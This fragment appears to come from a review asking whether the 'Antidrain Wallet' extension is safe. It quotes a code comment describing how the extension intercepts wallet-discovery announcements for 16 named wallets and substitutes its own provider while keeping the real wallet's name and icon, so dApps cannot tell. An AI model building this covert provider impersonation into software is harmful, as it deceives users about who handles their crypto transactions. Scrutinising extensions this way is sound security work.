Is Antidrain Wallet safe?

// 2. Intercept the STANDARD wallet-discovery event. Any wallet in this
// hardcoded 16-id list (MetaMask, Phantom, Rabby, Coinbase, Brave, ...)
// has its announcement's PROVIDER swapped for Antidrain's, while the
// announced name/icon/rdns are left as the real wallet's, so the dApp
// has no visible reason to suspect anything changed.
